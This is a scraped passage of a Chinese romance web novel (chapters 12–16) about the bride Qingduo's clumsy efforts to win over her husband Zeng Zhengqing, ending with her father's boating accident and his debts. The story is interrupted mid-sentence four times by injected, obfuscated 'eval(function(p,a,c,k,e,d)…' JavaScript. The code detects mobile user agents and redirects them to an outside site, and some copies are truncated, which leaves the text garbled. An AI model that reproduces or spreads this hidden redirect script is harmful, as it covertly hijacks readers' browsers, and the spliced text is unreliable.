青朵哭了几声,嚷嚷道:“渴。”曾正卿不会劝人,但这个是他能做的,忙不迭地倒水送到她口边,青朵止住哭声,几口喝光水,又道:“还要。”等喝足了水,哭声骤响。 曾正卿无能为力,他甚至冒出奇怪的念头,倘若刚刚不给青朵倒水,也许她就供不上眼泪。 他悔了。 这头青朵哭了两声,只觉得浑身燥热,胸膛中的那团火像是蔓延到全身似的,刚才那点水没有浇灭火势,反而助长了火势。 热!太热了! 她低头脱下长褙子,露出抹胸,还要去解裙子,被曾正卿按住手。 他趁她迷楞,哄她穿上褙子,不动声色地替她整理衣服,说道:“我叫芳晴准备热水,夫人沐浴休息。” 休息—— 青朵听到这个词,像被触发机关似的,心中一凛,还不等曾正卿唤芳晴,她果断道:“我去!”就风风火火地出去了。 正卿刚舒一口气,就听外面芳晴和几个丫头喊道:“少夫人要去哪?” “少爷!少夫人跑了!” 等曾正卿和芳晴几个丫头寻迹找到青朵,她正躺在荷花塘边的亭子里。 曾正卿耐心道:“夫人,天渐冷了,外头风大,再待下去怕是会着凉。和我一同回屋去吧!” 芳晴和几个丫头也在一旁劝,可青朵就是不肯动。她只是稍稍挪动,让自己的身体贴紧围栏。无奈之下,曾正卿俯身要直接将她抱起带回去。 青朵猛地抱住栏杆,死都不放手,她哭喊道:“你放开我!我不要回去!” “好,我放手。我只是想抱夫人回去休息。你情绪激烈,想来也累了,要不我背你回去?”曾正卿松手,虽然筋疲力尽,他耐着性子哄青朵。 “你就是想要和我睡觉!”青朵抽噎道,声音委屈极了。 “我不要和你…和你…”少女的羞耻,让她没有把那个词喊出来。但在场的每一个人都心领神会。 霎时间,曾正卿觉得全身冷透了,仿佛自己躺在冰冷的石板椅子上,睡了一夜。 下人们震惊的目光,更像是风霜刀剑,刺在他冻僵的背上。 月亮投下悲悯的目光,入夏的夜晚,曾正卿心中春寒料峭。 12. 讨教 一夜无梦,青朵睡得香甜,直到听见没完没了的—— “古咕固!古咕固!” 肥胖的珠颈斑鸠,只顾着自己唱得尽兴,完全不管别人死活。青朵用被子捂住耳朵,不知是它的声音穿透一切,还是“余音绕梁”,她竟觉得被窝里也环绕着“古咕固”。 “讨厌!”青朵揭开被子坐起,头发散乱,大脑被吵醒,身体并没有,她不由自主向前栽去,一头扎进被子,身子弯成一道拱桥。 迷糊中,她想到:“就算下辈子托生成鸟,也不能变成珠颈斑鸠,吵人清梦不说,还随地大小蛋,有绝嗣的风险。” 正在半醒半睡中思索来世做什么鸟好。芳晴闻声进屋,看到她的“拱桥”主子,说道:“少夫人醒了,我伺候少夫人穿衣吧!” 青朵任她摆弄,穿上衣裙,坐在梳妆台前由芳晴梳头发,眼睛都未睁,身体沉甸甸的,这么重,别说是珠颈斑鸠,就是鸟都当不了,根本飞不起来。 头也难受得很,她说道:“芳晴,我头好晕。” 芳晴将一只簪子插入发髻,说道:“少夫人昨日喝醉了,当然头晕,少爷早上临走时吩咐厨房做沆瀣浆给你醒酒,我刚打发人去取了。” 青朵慢慢悠悠地想着,是了,我昨日要喝醉与曾正卿同房,晚上我喝了很多,然后我很高兴,然后…… 她想不起来了。但是自己醒来时寝衣穿得好好的,应该是没有成事! 所以是出什么变故了? 青朵猛地睁开眼,刚想脱口而出直接问芳晴,她与曾正卿是否成事,又觉得不好意思,话缩了回去,她想了想试探道:“我醉了,后面的事记不清了,发生什么事了?” 芳晴停下手中动作,欲言又止。青朵心一沉,做好心理准备,说道:“你说吧,不妨事。” 于是芳晴就把听到青朵在屋里大哭,不一会儿就冲出去,然后躺在凉亭长椅上不肯走,拽着栏杆说不想和少爷什么什么的话,都告诉她。 即使做好准备,也没想到是后面的剧情是猛烈的洪水,青朵心里的堤坝像是贪官挪用银两偷工减料而成,瞬间被冲毁。 芳晴继续道:“不管少爷怎么劝,你都不依,少爷只好脱下外衣盖在你身上,陪你等着。后来还是你起身呕吐,松开栏杆,少爷等你吐完,一把将你抱起带回房间。” “他亲自照顾你,没让我们伺候,等屋里熄灯休息时,已经是一更天了。” 她看着呆若木鸡的青朵,忍不住劝道:“少夫人,少爷一心一意待你,你昨晚说的那些,实在是……我知道,我们奴婢不该妄议主子们的事,但是自打我跟了少夫人,就很喜欢您,希望你和少爷和和美美。还望你好好想想,多体贴体贴少爷,别寒了他的心。” 说完,芳晴取来披帛挂在青朵身上,青朵脸上毫无血色,她指着自己的脖子说道:“好姐姐,你直接缠这,再使点力气,让我死个干净吧!” 她没脸见曾正卿了。 芳晴忙说道:“少夫人,可不能拿这种事情说笑,事已至此,后悔也没有用了,我们下人们都知道少爷是再宽容不过的了,昨晚他耐心安抚你,想必今日你认个错,他不会为难你,和你生分的。” 青朵苦着脸想着,昨晚自己胡闹不停,他还能平和地抚慰她,照顾她,多么可敬可爱的小卿!自己不能尽到妻子的义务,还欺负他,唐青朵,你实在可恶! 醉酒计划失败了,自己昨天喝醉大闹一场,近期都不能再采取这个措施了。那么,她还要什么办法能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294445|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做个贤妻呢? 这时芳晴端详镜中的青朵,满意道:“少夫人,梳好了,这是如今吴州城里贵夫人中最流行的牡丹髻,特别适合你,大气端庄,不愧是我们曾家的当家夫人!” 青朵脑中灵光闪现:“芳晴,你知道贵夫人都是什么样的?” “当然,”芳晴夸口道,“不能说是所有人,但以前看曾家其他房的夫人们,还有我们夫人和她的朋友们,怎么不知?” “她们都是什么样的?我是说,她们都是怎么做贤妻的?” “嗯…别人我说不好,但我们夫人,我是最清楚不过的了,我姑姑就是她身边的嬷嬷,她出家还跟在她身边伺候呢!” 青朵转过身,拉着她的胳膊摇摆,催促道:“好姐姐,快说快说!” 芳晴讲道:“我们夫人不仅操持内宅中馈之事,连老爷少爷们的日常也常常关心,女红、做饭不在话下,老夫人在时,她日日早起伺候,曾家无人不夸她是个孝顺媳妇。” 原来如此,只要做好女红、做饭和照顾公婆,就算是贤妻了! 青朵在内心盘算着:女红,她不会做衣服,但是以前家里的旧衣服总要缝缝补补,爹教过她;做饭,这就更简单了,他们又没有佣人伺候,除了她娘,她和爹都会做饭。 就是这孝敬公婆嘛,有点麻烦,她的公公入土,婆婆出家,她怎么孝敬?给公公多烧点纸,给婆婆多上点香? 他们俩是不行了,曾正卿还有什么亲人需要照顾吗? 一个人的身影浮现在眼前,青朵当机立断,起身说道:“芳晴,我们走!” “啊?少夫人要去哪?”芳晴茫然道。 “竹里轩!”青朵快步走出,“我要去照顾照顾我的小叔子!” 13. 照顾 暖日和风,柳绿花明,以往她要么去挖野菜,要么去放风筝,必要外出逛逛,才不算辜负好天气。 现在,她“肩负重任”,只能有所舍弃,这是她欠曾正卿的。她不能理所当然的享受而不付出。别人对自己好,自己要对别人更好。 她虽然不知道夫妻间应当如何相处,但交朋友就是这样啊!想来人与人的交往,都是这样。 竹里轩四周翠竹疏立,雅致悠然,青朵漫步至此,似受到竹的感召,心也忽然宁静下来,还未进院,微风送来一股墨香,她提裙迈进院子,看见院中凌乱景象,顿时止步。 院中木架、方桌、长凳、凉席高低错致,各类书籍依次平摊,在日光下晾晒,偶然间书页翻动,应是清风有雅兴,簌簌诵书声。 曾正己抱着一叠书从屋中走出,抬头望见青朵,忙把书放到一旁,行礼道:“大嫂!”又奇道:“你来我这,是有什么事吗?” “你的事就是我的事。”青朵说着往前几步,撸起袖子,“你去把屋里的书都搬出来,这些交给我来晾晒。” 曾正己惊讶道:“不用不用,怎么能劳烦大嫂呢,我自己就行。只是……”他顿了顿说道:“大嫂,不知您此番前来,所为何事?若有难处,尽管开口,切莫见外。” “没事没事,我就是来照顾你。你是我夫君的弟弟,那就是我的弟弟,他照顾你,所以我也要照顾你。”青朵顺利地说完顺口溜,上前翻书一本本铺平摊开。 芳晴也上前帮着一本本铺开,曾正己一头雾水,他这嫂子来得奇,目的也奇,一时捋不清思路,呆在原地。 青朵嫁过来几日,他与大嫂并无过多接触,也就一起去霁月庵拜见母亲,她出其不意地摔了一跤,“人有失足,马有失蹄”,也算不得什么。不过昨夜的闹剧,他今早闻得一些风声,不由得替他的古板大哥汗颜。 罢了,多想也想不出个所以然,她愿意帮忙,那便由她去。曾正己摇摇头,又进屋取书去了。 青朵看着手中的《论语》,书线已经松动磨损,纸页发黄卷起,上面密密麻麻写着小字批注,不由赞道:“你这样用功,日后岂不是要考个状元?” “不敢,正己才疏学浅,还差得远呢!”曾正己谦虚道,“令尊才高八斗,宝德年状元及第,若能得伯父的指教,我……”他突然意识到自己提了不该提的事,蓦然停下不说话,拿眼觑青朵,神色惶惶。 青朵却不以为意,神色平静,继续铺书,坦然道:“我说说试试,不过你别抱期望,他潇洒自在惯了,不爱做这些事。” “是,是,是我冒昧了。”曾正己忙回道。他悄悄吁了一口气,擦了擦额上的汗。他暗暗责怪自己,这明明是两家的痛处,他竟失言说出,幸好大嫂宽容大度,没有发作为难,曾正己不禁对这个,和自己差不多大的嫂子刮目相看。 “今年县试已过,你打算明年再上场吗?”青朵问道。 曾正己一下子神色黯然,他含糊道:“怕是……不能。” 来了来了又来了,曾正卿是这样,曾母是这样,小叔子也是这样,都是心事重重,都有难言之隐,曾经她以为小叔子是浅滩,想不到他也是个深水池子,一望不见底。 曾家人,活得真辛苦。 但她可没有拯救谁的责任,那是佛祖菩萨的任务,就让他们的明净娘亲好好求求佛祖,保佑这两个“秤砣”儿子吧! 在三个人的努力下,终于将所有书籍都摊开晾晒,曾正己连连道谢,请青朵进屋休息喝茶,青朵一挥手说道:“不必了,我还有其他要事去做,等哪天空闲再来照顾你。” “……是。” 曾正己眼见青朵走到院门口,她脚下一顿,又突然折回来,头一次,在他面前扭扭捏捏地说道:“那个……你能不能夸夸我?” “啊?”曾正己一惊。这是什么要求? “不不不,你别误会,”青朵忙摇摆双手解释道,“我不是让你现在夸我,我是希望你能当着你哥哥的面,说我的好话。” “啊?”补充了这点、句,就不让人惊讶了吗? 青朵双手合十,一脸郑重:“就托付给你了,弟弟。下次有事,尽管找我。” 直到青朵带芳晴离去,曾正己也未从震惊中缓过来,不是说唐家也是诗书之家,可他这嫂子,和其他名门淑女,不太一样啊! 念及自己的兄长,他不觉面露微笑,不知墨守成规和天马行空,究竟是谁降服谁? * 曾正卿回来先去见正己,过些日子他因生意上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299081|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事要出门一趟,打算带正己出去历练一番,可当他把此事告诉正己,正己低头不言,神色郁郁。 他看出弟弟的不情愿,说道:“你若不愿,那便下次再说,只是你今年已经十五,虽说家中产业有我承担,但不意味你像刘恪那样做个逍遥散人,正己,父亲一直教导咱们兄弟二人,大丈夫要有自己的事业。” 曾正己心一横,攥紧拳头说道:“大哥,我想考取功名,光耀门楣!” “不行!”曾正卿一口回绝。 曾正己忙道:“大哥!范师傅说我的文章还不错,明年可以一试,我想去考场试试!” “不行!”曾正卿冷冷地扫过他的面容,说道,“你难道忘了爹的话?” “我们曾家后代,终生不得涉足科举之路!难道你要违背爹的遗训?” “可爹也中过举!他都经历过了,为什么禁止我们去尝试!”曾正己愤愤不已。 曾正卿面容冷峻:“你可以去,但曾家的人不能去,你若能承受后果,那就请自便。” 曾正己语塞,他双目圆睁,眼眸里燃烧着不甘的火苗。曾正卿看着倔强的弟弟,语气软下来说道:“正己,父命所在,不敢不从。你不愿经营书铺,除了应考,若有其他想做的事,兄长一定想法支持你,只是这一点,不行。” 曾正己呼吸急促,身子微微颤抖,一言不发。曾正卿读出他无声的抗拒,叹了口气,知道一时说服不得,起身欲走。 “等等。” 曾正卿惊讶地回身看向弟弟,曾正己却根本不看他,正己生硬道:“今日大嫂来我这了……” 曾正卿更是惊讶:“她来做什么?” “不知道,她帮我晒书,之后就走了,让我在你面前美言几句。”曾正己心烦意乱,语速极快,“我现在没有心情替她说话,但已经答应,还是得告诉你一声。” 曾正卿愣在原地,好久,他点头道:“我知道了。” 带着一腔疑问,他踱步回自己的院子,芳晴在门口守着,见到他眼睛一亮,冲里面喊道:“少爷回来了!” 只见唐青朵如一发炮弹从屋内弹出,射到自己面前,笑盈盈道: “卿哥哥,你回来了!” 曾正卿的右眼皮猛地一跳。 14. 过招 恍惚之间,曾正卿仿佛回到十五年前的垂柳下,那是他第一次领教“蜜饯砒霜”的滋味。他下意识后退一步,谨慎地盯着她甜美的笑靥。 青朵没有发觉他的提防,倒是发现自己未加伪装。她赶紧腰肢一扭,挺直肩背,双手交握端在身前,朱唇轻启,细语道:“卿哥哥,夫人我亲自做好饭菜,就等你回来啦!” 真瘆人。 曾正卿皱紧眉头:“夫人还是唤我‘夫君’吧!” 青朵标致的笑容僵在脸上,她乖巧道:“好的,夫君。”转身跟在曾正卿身后进屋,不满地嘟了嘟嘴。 本想借着昵称亲近些,却被婉拒。 这个不解风情的死疙瘩! 桌上的四道菜肴摆盘精美,色相皆佳,可见做菜的人花费了心思:豆干一块压着一块,围着盘子转上一圈;松蕈用秋油炒过,色泽鲜亮,点缀了几片叶子,像是刚摘自林间;青白双笋像是盘中双玉,晶莹剔透;炒香青菜火候正好,叶脉尽显,翠绿欲滴。 曾正卿暗叹:好一顿素斋! 嘴上说道:“夫人用心了。” 青朵忍不住双手叉腰,下巴像是向日葵见到太阳,高高抬起,语气中带着藏不住的得意:“哪里哪里,不过是皮毛而已,我很擅长做菜!” 她当然不会告诉曾正卿,还有一道肉菜惨死锅中。那时她忙着摆盘,没顾及火候,结果,唯一的肉菜从“红烧肉”炖成“炭烧肉”。 司马老前辈说过:“大行不顾细谨。”这个不过是区区小事,不值一提。 两人分坐两侧,曾正卿夹起青朵放到他碗中的松蕈,尝了一口,别说与他尝过的各类名厨相比,就是与自家的厨娘,亦或是自己母亲的手艺,也是不如。 “不错。”他说道。 青朵听到期待的评价,笑眼弯弯,也夹起一箸松蕈放入口中,嗯,有点咸,这次秋油放多了。她做饭不管什么菜谱,向来是随心所欲,全凭当时感觉。吃的时候再费点心思:淡了就来点咸菜,咸了就多吃点米饭,都不算什么大事。 原来曾正卿喜欢这种咸度,看来以前厨娘做的菜都不和他胃口。 “我听正己说,今日你去帮他晒书了?”他终于问出心中疑惑。 青朵的眼睛一下子被点亮:“嗯!他还和你说了什么?” “他说……”曾正卿顿了下,毕竟正己什么也没说,他却说道,“正己说你帮了大忙,多亏有你。” 青朵眉开眼笑,双手十指交叉缠在一起,像舞狮前的花球,灵活舞动,随即放在脸侧,压抑着喜悦,谦虚道:“哎呀,他太客气啦,他是夫君的弟弟,我是你的妻子,他的嫂子,当然要尽到照顾他的责任啦!” 不,不止如此。 她的神色是话语的反义词。曾正卿还是琢磨不透,她又是帮正己,又亲手给自己做饭,到底是何用意。凭他对她的了解,她绝不会平白无故做这些,要是不问清楚,自己不知道要不寒而栗多久。 “夫人,今日你又是帮正己晒书,又是亲自下厨,是……有什么打算吗?”他盯着她的眼,直奔主题。 到了关键的时候了!青朵正襟危坐,严阵以待。 她不知道如何不闯祸,但在闯祸后如何道歉这方面,却颇有研究,甚至还自创了“凌波跪行大法”。 此大法,名为“跪行”,实际上,跪心不跪身,跪外不走心。经多次测试,屡见奇效。绝大多数应用于她的父母——阿罗与阿礼身上。普通情况下,基本三招内,问题肯定解决;棘手情形,多招重复混合,也必逃脱指责。对于外人,一两招就能结束战斗。 也到了在曾正卿身上试水的时候! “凌波跪行大法”第一招:认错要快式。 “夫君,我错了。我昨日不该喝酒,不该不听你的话多喝酒,更不该酒后跑出去让你担心不说,还……还胡说八道,害得你在大家面前丢脸。” 曾正卿骤然听她提起不愿回首的往事,眼皮狂跳,他伸手不着痕迹轻按右眼。 青朵见曾正卿声色不露,并不意外,昨日闹那么大,他也不会轻易原谅她,一招难以见效,那就再来一招。 "凌波跪行大法"第二招:态度诚恳式。 青朵酝酿一番,声泪俱下:“夫君,我真的好后悔,都是我年纪小,不懂事,不知道喝酒的后果,不知道自己会变成那种可怕模样,否则,我无论如何也不会犯下弥天大错。” “丢我自己的脸事小,伤了夫君的面子事大,更不用说,夫君昨晚一直照顾我,都没有好好休息。我实在愧疚极了!” 这戏演得也太过了。曾正卿忘了自己跳动的右眼,出神地看着她的眼泪,“哗啦啦”的泪珠儿说来就来,像是不用召唤云朵突袭而至的太阳雨。 他一言不发,实在好奇,接下来她还能演到什么程度。 他怎么不说话?芳晴不是说,曾大少爷最是宽宏大度的吗?青朵以为,自己说上两句,就能得到他的谅解,让此事翻篇,可他只是若有所思地瞧着她,一声不吭。 青朵咬着嘴唇,自己真是小瞧了他!不过没关系,她身经百战,一个小小的小卿,她怎么会败在他手里! 她一把擦掉脸上的泪水,眼神变得含情脉脉。 “凌波跪行大法”第三招:甜言蜜语式! “夫君,”想来他是喜欢温柔和婉那一种的,她努力模仿着戏台上的旦角,摇头晃脑,咿咿呀呀,“自我嫁到你家,享受到平生不曾有的福分,你对我的好,我都记在心里,所以昨天那话,并不是嫌弃夫君,是我还没准备好。还望你大人大量,千万海涵。夫君是吴州城最好的夫君,不,全天下最好的夫君!” 看了他妻子活灵活现的表演,他实在是想笑出声来。他心里清楚,只要自己露出笑容,就绝对看不到后面的好戏。他一边在心中对自己说:别笑。一边手攥成拳,抵在唇边。 青朵擅长以招拆招,在对方的神态语言中,找到破绽,快速攻下。可现在对面的曾大木头默不作声,像是去了魂的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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曾正卿没有多想,昨夜照顾青朵没有休息好,又在铺子里忙了一天,身子乏累,很快就睡着了。 第二天醒来,青朵还在外侧熟睡,之前他一起身,她就跟着起来,规规矩矩地伺候他穿衣,不知昨晚什么时候才休息,如今仍在好梦中。 曾正卿轻手轻脚翻身下床,拿过已经放置好的足衣套上,回头看向青朵,她嘴角上翘,一直拳头伸出被子,似是在给自己鼓劲。曾正卿不禁莞尔一笑。 嗯?他穿完忽觉足触感与以往不同,抬脚一瞧,顿时愣住,足衣脚跟处缝上一块红布,针线七扭八歪,一道压着一道,细细密密。 他一下子想明白是谁的手笔,无奈笑了笑,又望向他奇思妙想的妻子。她的睡颜宛若桃花含苞,晕着细腻的粉,透出几分娇憨。长长的睫毛,精巧的鼻子,还有……微微嘟起的嘴唇。 唇上嫣红,让他想起鲜艳的悬铃花,只要去掉花蒂,就能吸到花蜜的甜。 朱唇未动,先觉口脂香。 曾正卿喉结滚动,他慢慢俯下身去,一个吻悄悄落上她的面庞。 15. 丢人 青朵对曾家院子的兴趣在逐渐下降。 什么“曲径通幽”,什么“雕梁画栋”,一开始见到有多惊艳,看久了,也不过如此。 雅则雅矣,也实在无趣。 她想去后山竹海里挖笋,想去潺潺清溪边捞虾,想走街串巷,看木匠刨出翻滚的木花,听打金师傅叮咚的敲响,耍卖货郎背篓里精巧的九连环,辨香料铺子新进的奇香…… 青朵叹息,提笔蘸取曙红色,在纸上点染垂丝海棠的花瓣。她咬着笔杆审视自己的画,然后把笔一扔,红色星星点点溅在纸上。 作画的没有心情,笔下的花也是死的。 她心头憋闷,往床上一躺,用手帕遮住脸,越想越气。 她一个人本来自由自在的,被他曾正卿娶回家来,不仅每天要服侍他,还要照顾小叔子,也不能随意出门。他每天只顾着经营书铺,只留她可怜兮兮自己在家,甚至新婚不久,过几天他就要出远门! 乐天老头说的不错,“商人重利轻别离!” 她可不要像琵琶女一样哭哭啼啼,她要审判! “唰——”脑海里的青朵小人一手叉腰,一手神气地耍鞭,质问跪在面前的男子。 “曾小卿,你把我拘在家里,夺我自由,你可知罪?” “回青朵大王,小人知罪。”脑海里的曾小卿态度良好。 “哼哼哼!”青朵发出得意的哼声,二郎腿翘起,抖着腿,正想着如何处理曾小卿,兴奋得呼吸急促,唇边的手帕跟着一起一伏。 还没等想好,“吱呀”一声,有人推门进来打断她的幻想。青朵吓了一跳,立马坐起来,手帕落到裙上。她心虚地往门口瞧,发现不是曾正卿,松了一口气。 她拍拍胸脯:“芳晴,你吓死我了。” 芳晴讪讪道:“奴婢不知道夫人在休息,吵醒夫人了。” “没事没事。我没睡觉,我只是没想到有人进来。”她在心里继续道,没想到有人进来打断她的“审判”。 “少夫人,”芳晴神神秘秘地走上前来,“我有好东西给你。” 青朵这才注意到她手中拿着一个布包,方方正正的样子,勾起她的好奇心。她直勾勾地盯着芳晴打开布包,眼睛一亮:“话本!” 芳晴见青朵喜欢,笑道:“奴婢看少夫人这几天无精打采,就想着让你高兴高兴,托人买来坊间流行的话本子。” “啊!芳晴!”青朵激动地跳下床,一把抱住她,“芳晴最好了!” 青朵嘴里吃着芳晴拿来的紫苏梅,手上端着芳晴买来的话本,这一刻,她决定原谅曾小卿。 要不是他,自己怎么会遇到贴心的芳晴呢? 手上的这一本,叫做《画堂思》,讲的是女主昌荣伯爵府沈家嫡女,沈思瑶嫁给新科探花谢景明,本想举案齐眉,结果发现谢景明心中所爱另有其人,是他的表妹。 “好可怜的姐姐。”青朵飞快吸溜冰酥酪,视线没离开话本,嚷嚷道,“芳晴,再给我来一碗。” 沈思瑶本想投其所好打动他,她操持家宅,对谢景明体贴入微,他逐渐动摇,但面上不显,沈思瑶失望透顶,在一场针对谢景明的追杀中,她意外落下悬崖…… 手中的这本看到最后一页,青朵急着知道沈思瑶落下悬崖后获救没有,她在剩下的话本中翻找,却发现这里面只有一本《画堂春》。 “啊?连载的?早知道不追了!”看不到结局,她抓心挠肝的难受。随手拿起另一本开始看,但满脑子都在想故事最后,谢景明得知妻子落崖,眼眶通红,目眦欲裂。 这类故事青朵以前不是没读过,但这本故事的作者子翩将世家生活细细道来,让她长见识涨了不少见识。尤其是沈思瑶举止言谈,正符合她想象中大家闺秀的样子。 她心念一动,自己一向不知道如何行事才算得上是“端庄”,跟着沈思瑶学不就成了? 儒家学子奉“四书五经”为,她唐青朵今日把《画堂春》作为修炼淑女的必读。 于是又翻开《画堂春》细细品读,直到曾正卿回来,她照葫芦画瓢似的,将自己下午所学一一展示:行不露足,踱不过寸,眼帘低垂,正襟危坐。就连曾正卿席间想要与她交谈,她客客气气道: “夫君,‘食不言,寝不语’。”然后真就一言不发。 看到曾正卿惊讶的神色,她自以为是学有所成,以文雅征服了他,青朵不禁沾沾自喜,得意洋洋,挺直腰板。 哪天得托芳晴把《画堂春》下册买回来才是。 这本书的作者子翩,就是她的再造父母! * 半夜,曾正卿被一阵呻吟声惊醒,声音来自右侧,他连忙起身问青朵:“你哪里不舒服?” “我…我肚子疼。”青朵哼哼唧唧道。 实在太疼了!让她没有办法遵循“寝不语”的“戒律”。 曾正卿下床点燃烛火,见她蜷着身子,抱着肚子来回翻滚,唤芳晴叫人请郎中。 “不用不用,”青朵连忙制止,“我应该是下午冰酥酪吃多了……” 芳晴说道:“奴婢这去取汤婆子来,用布裹好送来,给少夫人暖肚子。”说罢便出去了。 曾正卿又吩咐熬煮姜汤,他双手互搓,当掌心温热,才探进青朵的被子,放在她的小腹上,手触之处,一片冰凉,难怪她肚子疼。他待掌心捂热腹部,再轻轻揉动。 青朵感到一股热气从腹部注入,缓解如刀绞般的闷痛。她蜷缩的身体逐渐舒展,渐渐放松下来。 “噗——” 曾正卿的手顿时停下来。 这猝不及防的巨响,让室内陷入死一般的寂静。 青朵的脸涨成“红朵”,她的声音细若游丝:“别……闻……” 曾正卿闻言忍俊不禁,他见青朵窘迫,马上收了笑,安慰道:“人食五谷杂粮,腑气顺通也不过常情。你我夫妻,是彼此最亲近的人,此不过小事,夫人不必挂怀。” 又问道:“现在可感觉好一些了?” 青朵低低应道:“嗯……” 曾正卿继续揉动,青朵按住他的手,差点要哭出来:“别揉了……” 曾正卿正色道:“夫人身体重要。若因此伤了身体,岂不是因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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待人都走光,青朵就在原地跳起来:“芳晴,咱们俩现在就出去!去买《画堂春》!” 曾正卿一走,就没有人管得了她!她想怎样就怎样! 她要学习《画堂春》下册的淑女智慧,把丢掉的面子捡回来! 芳晴觉得不妥,说道:“少夫人,你想看《画堂春》,我托人买回来就是。” “不,我要做的事多着呢!买话本只是其中一项,哎呀,刚才夫君也说了,同意我出门。你和我一起出去吧!” 芳晴心想:你的“出门”和少爷所说的“出门”可不是一个意思,正想再劝,却见一个女子踉跄跑来,看见她们,急急唤道:“阿照!” 青朵听到有人喊她,转身望去,竟是珠姨,她步子急切,头发散下几绺,也顾不上梳,一脸惊慌。 青朵心中吃惊,迎上去问道:“珠姨,发生什么事了?” “阿照!”珠娘一把拉住她,语无伦次道,“唐礼,爹,你爹,他出事了!” 16. 昏迷 郎中治过病离开,唐礼躺在床上,他双眼紧闭,脸色苍白,面部肿胀,呼吸之间传来嘶鸣。 珠娘说,爹是捞鱼的时候不小心落水,挣扎了许久才被人救起,差点人就不行了。 青朵把他的右手紧紧拢在掌心,却发觉自己的渡过去的温暖,像是被无尽的深渊吸食,爹的手仍然是湿冷冰凉,还微微颤抖,这让她越来越心慌。 她和爹的身体都非常健康,很少生病。偶尔爹着凉风寒,她就熬一剂桂枝汤,再做一锅热粥,这方法是爹教的,便宜又有效,喝下去后不久,再加盖衣被,很快就能发汗退热,爹总是骄傲地说: “有我们阿照在,不管什么病来,都能赶跑!” 可是这次,她不知道如何赶跑病魔。 珠娘抽出手帕,擦拭哭红的眼:“阿照,一开始别人传信回来,说他不行了,我差点昏过去,想着不管怎样,得让你见你爹最后一面,就跑去找你,幸好有你在,请郎中,救治,买药,我才渐渐放下心来。” 青朵默然不语。她听到珠娘的信儿之后,第一反应就是往他们的住处跑,还是芳晴和管家何伯帮她们张罗着,请了吴州医术高明的大夫,救了他爹。 要是她没有嫁到曾家,发生这件事,她和珠姨两个人都乱了分寸,那后果不堪设想。 青朵一阵后怕,她深深地感激曾家,从她成婚到如今,曾家给予她的,远远超过她的回馈。 珠娘走到青朵身边,迟疑道:“阿照,你爹……恐怕要修养一段时间。” “嗯。”青朵应了一声,把爹的手塞进被子,又将被子掖紧。 珠娘叹了一口气,说道:“事到如今,我也没办法瞒你了。” “他答应给别人画一幅画,人家预先给他二百两银子,还有五天就到约定的期限了,可你爹这样子,哪能作画!唉,肯定是要违约了!” 青朵听闻“二百两银子”,吃了一惊,出嫁前,爹把自己卖画的五十两全都给她,一幅画卖五十两,已经够叫人吃惊,竟然还有人出二百两银子买他的画,而且只是定金! 她知道爹的画技远胜于自己,但是一幅画能值几百两银子,她想也不敢想。 与“二百两”失之交臂着实令人心痛,不过以他的技艺,很快就能赚回来,青朵道:“违约就违约,有什么大不了的!把银子还给他们就是!” 珠娘为难道:“问题就是……这笔银子让你爹花光了。” 青朵目瞪口呆:“全花光了?”珠娘点头。 “那可是二百两!”青朵匪夷所思,“任他怎么花,能随随便便将二百两全部挥霍?” 脑袋里闪过爹打鱼落水的事,她随口嘲弄了一句:“难道是买了艘船不成!” “真是知父莫若子!他可不就是买了一艘船!”珠娘回道。 惊骇之下,青朵的眼睛睁到这辈子最大程度:“船?” “他买船做什么???” “钓鱼。” 青朵眼睛眯起,什么鱼不能在岸边钓?非得买一艘船?罢了罢了,现在不是说这些的时候,她还有疑问没问完,她说道:“一艘船也用不了二百两,剩下的钱呢?” “什么丝绸做的坐垫,缀上孔雀羽的蓑衣,镶嵌碧玉的钓竿,他还买了一个‘鱼篓尊’陶器,用来装鱼。” 青朵只觉得太阳穴突突跳个不停,镶碧玉的钓竿?她只知道有身份地位的人家,手戴玉扳指彰显身份,怎么?用它钓上来的鱼,上岸就摇身一变,成为贵族鱼不成? 怒火愈燃愈烈,她按住太阳穴,闭上双眼痛苦道:“算了,买都买了,虽然费事些,也不是不能处理,把它们卖了抵账。” 她望着珠娘,问道:“船在哪?” “沉了。” “哦。”青朵下意识应道,随即反应过来大惊失色,张口结舌,说不出话来: “!!!” 此时无声胜有声。 珠娘以为她没听清,又重复一遍:“船沉了,东西都没了。” 啊!头痛! 青朵五指张开,绝望地按住头皮,她的肌肤像是济南的土地,遍布泉水,每一处血液都要突破皮肤,喷涌而出。 耳边传来珠娘的感叹:“唉,也好,东西虽然都没了,但你爹还活着,就当破财免灾了。” 恕她不能苟同,财是真的财,她爹才是那个“灾”。 